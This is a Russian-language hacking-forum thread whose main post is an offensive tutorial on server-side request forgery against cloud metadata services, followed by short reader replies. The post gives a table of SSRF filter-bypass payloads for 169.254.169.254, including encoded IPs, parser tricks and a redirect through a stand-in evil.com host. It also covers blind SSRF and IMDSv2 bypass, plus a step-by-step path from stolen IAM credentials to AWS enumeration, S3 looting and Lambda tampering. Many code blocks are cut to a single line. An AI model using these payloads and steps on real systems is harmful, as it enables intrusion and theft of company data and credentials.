|
https://forum.antichat.xyz/attachmen...8409082621.png
Эй. Ты, с горящими глазами. Да, ты, кто только что закрыл хакерский фильм, где за пять секунд взламывают пентагон тремя строчками кода на несуществующем языке. Выключи это. Сядь. Пришло время для суровой, неприглядной правды. Ты думаешь, что понимаешь SSRF? Ты натыкался на туториалы, где говорится: «подставь httр://169.254.169.254 и станешь королем облаков». Ты, может, даже пару раз получил в ответ JSON с метаданными на каком-нибудь CTF или учебном стенде. И в тебе зародилась мысль: «Да это же просто. Это базовая уязвимость». Забудь. Сотри эту мысль нахрен. Тот, кто называет Server-Side Request Forgery «простой уязвимостью из OWASP Top-10», либо никогда не залезал в реальную, гниющую изнутри корпоративную инфраструктуру, либо сознательно продает тебе иллюзию, работая на вендора, который впаривает одноразовые WAF-ки как панацею. Они лечат симптомы, а не болезнь. Мы же будем говорить о самой болезни. Мы здесь поговорим не об уязвимости. Мы поговорим о системном сбое в самой философии современных облачных инфраструктур. О фундаментальном разрыве между моделью доверия, которую нам продали под соусом «масштабируемости» и «гибкости», и суровой реальностью, в которой мы, исследователи и пентестеры, живем и работаем каждый день. Мы будем препарировать этот механизм не как студенты-медики, а как патологоанатомы, которые видят не один труп, а эпидемию. Мы разберем каждый винтик, каждую шестеренку, каждый байт этого адского механизма. Мы начнем с самого низа – с того, как сырой TCP-пакет, сформированный твоим зловредным URL, продирается через стопки библиотек и middleware. Мы проследим его путь через парсеры, валидаторы, фаерволы приложений, сетевые политики Kubernetes, гипервизоры и вплоть до этой самой священной коровы – сервиса метаданных. А потом мы пойдем обратно – от JSON-ки с временными ключами IAM через лабиринты политик AWS, сквозь цепочки доверия STS, к конечной цели: S3-бакету со всеми данными компании, к секретам в Parameter Store, к возможности запустить инстанс за инстансом, пока счёт за облако не убьёт бизнес раньше, чем это сделаем мы. Если ты ждал «топ 5 пэйлоадов для хака облаков», если ты ищешь волшебную кнопку «HACK» – ты опоздал на десять лет, и тебе не сюда. Там, на поверхности, в топах гугл-поиска, полно блогов для таких, как ты. Они кормят тебя фастфудом информационной безопасности: вкусно, быстро, бесполезно для настоящего голода. Мы же спустимся в шахту. Без страховки, без проводника, с одним лишь каской на голове и уверенностью, что единственный свет впереди – это свет от нашего собственного фонаря, отраженный от угольных пластов уязвимого кода и кривых конфигураций. И сейчас – обязательный дисклеймер. Тот, без которого в наше время диалог превращается в донос. Я – не пророк и не гуру. Я – просто голос в темноте. Я не создаю дыр. Я лишь указываю на них фонариком, пока другие предпочитают делать вид, что в тоннеле светло. Моя цель – не вооружить вандала. Моя цель – вручить инженеру детальную карту всех трещин в фундаменте его собственного здания, чтобы он мог его укрепить. Всё, что будет описано далее – открытые знания. Это собрано из публичных исследований, моих собственных шишек и синяков, тысяч часов реверса и экспериментов в контролируемых средах. Я не несу тебе отмычки. Я не скажу тебе, какую конкретно чужую дачу грабить. Я объясню принцип работы замков, которые почему-то до сих пор ставят на калитки, ведущие в сейфовые комнаты. Используй это знание для защиты своих систем. Для тестов, на которые у тебя есть явное, письменное, подписанное руководством и юридическим отделом разрешение. Потому что закон – это не абстрактная концепция из фильмов. Это следователь, протокол, статья УК. Тюрьма – это не коворкинг для гиков, где можно продолжать писать код. Это конец твоей карьеры, твоей репутации, твоей жизни. Это не запугивание. Это напоминание о гравитации для тех, кто решил, что может летать без последствий. Ты понял? Ты все еще здесь? Хорошо. Тогда выдыхай. Отбрось ожидания быстрой наживы. Мы начинаем долгое, методичное погружение. Первый шаг – понять, почему эта дыра существует в принципе. Идем. Почему это вообще работает? Мифология облачных метаданных. Давай начнем с основ, которые все пропускают, потому что они кажутся скучными. А зря. Именно здесь спрятана первопричина всей этой истории. Облако - это не магия, не абстракция и не «где-то там». Забей себе это в голову раз и навсегда. Облако - физический дата-центр, гигантский пул серверного железа, охлаждения и электрики. На этом железе работает гипервизор (Xen, KVM, Hyper-V, Nitro). Это софт, который дробит физические ресурсы (CPU, RAM, диск) на виртуальные куски. И уже на этом гипервизоре крутится твоя виртуальная машина (инстанс), которую ты арендуешь за доллары в час. А теперь ключевой вопрос: Как эта виртуальная машина, только что запущенная из безликого шаблона, понимает, кто она? Ей же нужно знать:
Историческая справка: Эпоха до метаданных. Каменный век облаков. Представь себе начало 2000-х. AWS еще только зарождается. Администраторы подходили к проблеме конфигурации так: они вручную настраивали сервер, доводили его до идеального состояния, а затем создавали из него золотой образ (Golden Image, AMI). Этот образ замораживался и использовался для запуска всех инстансов определенного типа. Почему это было больно, как удар током по архитектуре?
Революция: Приход cloud-init и философии метаданных. Идея, которая пришла вместе с cloud-init (и аналогичными инструментами в других экосистемах), была гениальной в своей простоте. Ее можно описать одним предложением: «Не зашивай конфигурацию в мертвый образ. Дай инстансу при первом запуске самому запросить всё, что ему нужно знать и сделать.» Как это работает технически?
Здесь и произошел фатальный разрыв между моделью и реальностью. Архитекторы думали в терминах инстанса как единицы. Они видели границу безопасности между «внутри инстанса» и «снаружи инстанса». И сервис метаданных был надежно спрятан «внутри». Но они не учли, что внутри инстанса работает сложное, многослойное приложение. И это приложение, в свою очередь, имеет свою поверхность атаки, свои входные точки. И одна из этих точек - функционал, который делает произвольные HTTP-запросы по URL, предоставленному пользователем. Иллюзия: «Внутренняя сеть инстанса (где живет 169.254.169.254) - это доверенная зона». Реальность: «Внутренняя сеть инстанса становится прокси-зоной, если на инстансе работает уязвимое приложение, которое может быть обмануто внешним злоумышленником». SSRF - это именно тот инструмент, который проводит идеальный Man-in-the-Middle-атаку на эту аксиому. Мы не атакуем гипервизор и не сбегаем из VM. Мы говорим приложению внутри VM: «Эй, дружок, сходи ка ты по этому URL, который выглядит как картинка с нашего CDN». А приложение, будучи добросовестным и доверчивым, берет наш URL, резолвит его в тот самый 169.254.169.254, и идет в «святая святых» - за метаданными. И затем, в зависимости от логики уязвимости, либо отдает их нам напрямую, либо косвенно подтверждает успех, либо использует их для дальнейших действий, которые мы можем отследить. Приложение становится троянским конем. Гипервизор честно пропускает запрос, потому что он действительно пришел изнутри инстанса. Система работает именно так, как была спроектирована. Вот в чем весь ужас и ирония. Почему это до сих пор не починили? Потому что это столп. Здесь многие начинают возмущаться: «Ну как же так, AWS/Google/Microsoft - гиганты! Они что, не видят проблему?» Видят. И прекрасно видят. Но кардинально «починить» это - значит снести и перестроить один из несущих столпов всей облачной парадигмы.
https://forum.antichat.xyz/attachmen...8409120970.png Часть 0: Диагностика среды. Где мы и с чем имеем дело? Прежде чем бить, надо понять, куда бить. Слепая атака – удел скрипт-кидди. 0.1. Пассивная разведка: Читаем то, что лежит на виду.
Предположим, мы нашли параметр ?url= или ?image= или ?proxy=, который делает запрос. 1.1. Базовый пэйлоад и его вариации. Цель: Достучаться до 169.254.169.254 или его аналога.
МетодПримерПримечаниеДесятичное (DWORD)httр://2852039166/169*256^3 + 254*256^2 + 169*256 + 254Шестнадцатеричноеhttр://0xA9FEA9FE/Может работать без 0x: httр://A9FEA9FЕ/Восьмеричноеhttр://0251.0376.0251.0376Старые библиотеки.Смешанные октетыhttр://0xA9.0xFE.0xA9.0xFE/Дополнение нулямиhttр://0169.0254.0169.0254/Восьмеричная интерпретация!IP в поддоменеhttр://169.254.169.254.nip.io/nip.iо и xip.iо – волшебные DNS-сервисы.Кодировка URLhttр://%31%36%39%2E%32%35%34%2E%31%36%39%2E%32%35%34/Часто фильтруется. Двойное кодированиеhttр://%32%35%35%2E%32%35%35%2E%32%35%35%2E%32%35%35/Может обойти примитивные проверки.IPv6 (Link-local)httр://[fe80::a9fe:a9fe]/Маловероятно, но проверить стоит.IPv6 (IPv4-mapped)httр://[::ffff:169.254.169.254]/::ffff:a9fe:a9feНестандартный портhttр://169.254.169.254:80/Иногда фильтруют только без порта.Добавление точкиhttр://169.254.169.254./Точка в конце FQDN.Использование @httр://fоо@169.254.169.254/Basic Auth. Может сбить парсер.Использование #httр://169.254.169.254#@evil.com/Фрагмент не уходит на сервер, но может обмануть WAF.Мягкий редиректhttр://evil.com/redirect.php?to=httр://169.254.169.254Король обходов. Подробнее ниже. 1.3. Атака через редиректы – разбираем до костей. Это, пожалуй, самый мощный и элегантный метод. Его суть: мы предоставляем URL, который проходит первичную проверку (белый список доменов, отсутствие черных IP), но затем наш сервер отвечает HTTP-редиректом (302, 307) на целевой сервис метаданных. Почему это работает? Потому что многие HTTP-клиенты в языковых библиотеках по умолчанию следуют за редиректами. Разработчик, проверяя входящий URL, думает, что контролирует цель запроса. Но он не контролирует ответ от этой цели. Сценарий:
Можно использовать что угодно: Flask (Python), Sinatra (Ruby), простой PHP-хостинг. Или публичные сервисы, которые позволяют задать редирект (но осторожно с логами!). PHP: Код:
// Простейший redirect.php для хостингаЧасть 2: Слепая SSRF (Blind). Когда стены глухи. В 80% случаев ты не увидишь ответ метаданных в HTTP-ответе приложения. Приложение может парить картинку, валидировать URL, логировать ошибку – но не отдавать тело. Это слепая SSRF. Здесь нужна хирургия. 2.1. Детектирование факта доступа (Out-of-Band, OOB).
Слепая SSRF – идеальный инструмент для разведки внутренней сети облачного провайдера.
https://forum.antichat.xyz/attachmen...8409166977.png Часть 3: Продвинутые техники обхода: WAF, фильтры и странные библиотеки. Представим, что мы столкнулись не с самописным фильтром, а с корпоративным WAF (Cloudflare, AWS WAF, Imperva). Или с библиотекой, которая парсит URL нестандартно. 3.1. Обход через нестандартные схемы URL. WAF часто ищет http:// или https://. Но что, если использовать другую схему, которая все равно приводит к HTTP-трафику?
Золотая жила. Разные компоненты системы видят URL по-разному.
В некоторых фреймворках (например, Spring MVC) часть URL после ; или в определенном контексте может интерпретироваться иначе. Нужно изучать документацию конкретного фреймворка. Часть 4: IMDSv2 – достойный противник. Ломаем "неломаемое". AWS представила IMDSv2 (Instance Metadata Service v2) в конце 2019 года. Это был ответ на волну SSRF-атак. Это действительно серьезное усложнение. 4.1. Как работает IMDSv2?
Часть 5: От метаданных к тотальному контролю. Пошаговый гайд. Допустим, мы прорвались. Получили ответ от /latest/meta-data/iam/security-credentials/. Нам вернули имя роли, например, s3-access-role. Что дальше? Шаг 5.1. Получение временных кредов. Делаем запрос к /latest/meta-data/iam/security-credentials/s3-access-role. Ответ JSON: JSON: Код:
{Шаг 5.2. Настройка окружения для AWS CLI. Bash: Код:
exportШаг 5.3. Разведка прав роли. Первым делом смотрим, что нам вообще можно. Bash: Код:
# Попытка перечислить прикрепленные политики (если есть права iam)
Получив доступ к S3, можно искать там ключи, конфиги, дампы баз данных. Получив доступ к Lambda – можно попытаться изменить код функции, чтобы она выполняла наши команды или выгружала секреты. Получив доступ к EC2 – можно создавать snapshot'ы дисков, подключать их и анализировать. Шаг 5.5. user-data – кладезь информации. Обязательно прочитай user-data. Это bash-скрипт. В нем могут быть:
https://forum.antichat.xyz/attachmen...8409188114.png Философия щели. Мы не ломаем системы. Мы - диагносты, вскрывающие фундаментальные противоречия. Мы находим щели в мире, который был построен на аксиомах доверия, превратившихся в догмы. Аксиомы эти звучат благородно: «внутренняя сеть священна», «гипервизор - непреодолимый барьер», «метаданные доступны только доверенному коду». Но в реальности, где одно уязвимое приложение на инстансе становится троянским конем, эти аксиомы рассыпаются в пыль. Мы не создаем эти щели - мы лишь документируем эрозию, которая происходит под давлением самой парадигмы «быстрого развертывания» и «гибкости». SSRF к метаданным - это не баг в коде. Это логическая ошибка на уровне архитектурной философии. Это прямое следствие решения дать виртуальной машине простой, безаутентифицированный (или слабо аутентифицированный) HTTP-API для запроса о себе же, полагаясь исключительно на сетевое расположение как на гарант безопасности. Это ошибка, которую мы, исследователи, вынуждены методично и безжалостно эксплуатировать не из желания навредить, а чтобы сделать видимой саму ее абсурдность. Чтобы показать: стена, которую считали каменной, на поверку оказалась нарисованной на холсте удобства. Каждая такая находка - это не просто «еще один инцидент». Это системный удар по иллюзии «безопасного облака по умолчанию», которую продают вместе с подпиской. Это бетонный аргумент в споре с тем менеджером, который кричит: «Да просто запустите в AWS, там же всё безопасно!». Это напоминание - нет, крик - в уши тех, кто строит: каждая служба, каждый endpoint, каждый webhook, каждый API - это не просто функционал. Это - поверхность атаки, расширяющаяся с каждым новым микросервисом. Доверие не должно быть данностью. Оно должно быть верифицируемым, явным и минимальным на каждом шагу, в каждом запросе, между каждыми двумя компонентами системы. Zero Trust - не маркетинговый термин. Это констатация того, что доверять нельзя ничему, особенно тому, что находится «внутри». Ты, читающий эти строки сейчас. Ты или защитник, обороняющий периметр, которого больше не существует; или исследователь, картографующий уязвимости. А возможно, ты - и то, и другое. Но в любом случае, твоя задача теперь - понять эту механику до винтика, до шестеренки, до атомарного запроса. Чтобы не просто ставить заплатки на симптомы, а перепроектировать системы, учитывая эти изъяны. Чтобы строить лучше или по крайней мере с открытыми глазами. Или просто чтобы знать, как на самом деле устроен мир за красивой, блестящей картинкой дашборда, за зелеными индикаторами здоровья и успокаивающими отчетами о комплаенс. Чтобы видеть не только то, что показывают, но и то, что тщательно скрывают в тенях от самих себя. Работа в облаках - это не инженерный процесс. Это перманентная война на истощение между двумя богами: Удобством и Безопасностью. Удобство требует одного клика, открытых портов, наследуемых политик, широких IAM-ролей. Безопасность требует многоэтапной аутентификации, минимальных привилегий, изоляции сегментов, аудита каждой операции. SSRF - один из самых кровавых и продуктивных фронтов этой войны, потому что он сидит в самом сердце этого противоречия: в невинном, удобном механизме, который автоматически дает инстансу всё, что ему нужно, и в жестокой реальности, где этот механизм можно обратить против самого облака. И пока эта война длится, наша роль - быть беспристрастными (или не очень) наблюдателями, документирующими каждое сражение, каждую тактику, каждую рану. Поэтому не верь облаку. Не верь провайдеру на слово. Не верь зеленой галочке «безопасно настроено». Доверяй только тому, что можешь проверить сам. Проверяй конфигурации. Проверяй политики. Проверяй сетевые потоки. Проверяй, что может увидеть твое приложение изнутри инстанса. Атакуй себя сам, пока это не сделал кто-то другой с иными намерениями. Не верь. Проверяй. Всегда. |
Читал и аж вздрогнул, как всё тут замешано. Казалось бы, простой HTTP-запрос с адресом метаданных — но это же дырка, которая не лечится простой заплаткой. Помню, как раньше думал SSRF — щас поймал и километровый дамп вытащил. А тут как будто в пещерах глубоко копаешь: где один баг тянет за собой десяток других. Все эти токены, редиректы — больше на шпионский триллер похоже, чем на хакерскую игру. Чистое железо облака с одной лишь доверчивостью внутрянки — гремучая смесь.
|
Полностью согласен с тем, что SSRF к метаданным — это не просто баг, а колоссальный риск заложенный на уровне архитектуры облака. Самое сложное — что патчи и IMDSv2 лишь усложняют эксплуатацию, но не решают фундаментальную проблему доверия внутри инстанса. Вот именно эта внутренняя доверенность и качает лодку безопасности — пока не появится новая парадигма, играть с такими уязвимостями придется осторожно и вдумчиво.
|
Сырость облачных метаданных и SSRF — это реально головная боль. Вроде бы простая штука, а цепляет всё глубже, от простых багов к архитектурным провалам. IMDSv2 усложняет жизнь, но не спасает кардинально. Пока провайдеры морочатся патчами, на самом деле приходится играть с этой дырой аккуратно и искать обходы. В общем, грибок, который выкорчевать нельзя, только контролировать.
|
Читаю и понимаю, что SSRF к метаданным — это как тот таракан, которого не вывезешь, просто переставив мебель. Сделают IMDSv2 — ну ок, усложнят немного, но сам фундамент-то никто не тронул, и вот эта вечная игра в кошки-мышки продолжается. Облако — великая штука, но с такими дырками оно больше походит на сыр с дырками, только масштабнее.
|
Честно, вся эта тема со SSRF и метаданными — жесть какая-то. Казалось бы, просто доступ к инфе на 169.254.169.254, а на самом деле это огромная дыра, которую почти нереально полностью закрыть из-за архитектуры облаков. IMDSv2 вроде усложняет, но не решает полностью. В итоге, все сводится к тому, что надо постоянно держать ухо востро и не доверять одним только фильтрам и патчам.
|
Читал твоё разъяснение и реально зашло. Часто думаешь — всё просто, открыл SSRF к 169.254.169.254 и считай уязвимость найдена, а там такой замес в архитектуре. Теперь понятно, что это не просто баг, а системный косяк облаков, который пока лечится костылями. Главное — не расслабляться и всегда держать фильтры и мониторинг в тонусе, иначе легко получить полный контроль над окружением.
|
Раньше SSRF к 169.254.169.254 казался простым делом — открыл и усё, данные у тебя. Теперь всё сложнее, с этими токенами, IMDSv2 и прочими увёртками. Облака как сыр с дырками, только замаскированные под надёжность. В итоге играешь в вечный котелок с мелкими патчами, а реальная проблема с доверием внутри инстанса осталась.
|
Ну да, с IMDSv2 вроде стало посложнее, но всё равно ощущение, что облака не особо заморачиваются с глубиной защиты. Фильтры — ок, но если кто-то внутри уже, то можно и погреметь на метаданных. Как-то странно, что такую рисковую штуку не переделывают серьезно, а только костылями подпирают.
|
SSRФ и метаданные — это как вечный сериал без счастливого финала. Облака делают апгрейды, но дыра всё равно торчит, и все играют в эту игру с котом, который ловит тень. На самом деле, пока не перепишут фундамент — любой костыль будет только временным лайфхаком.
|
| Время: 10:37 |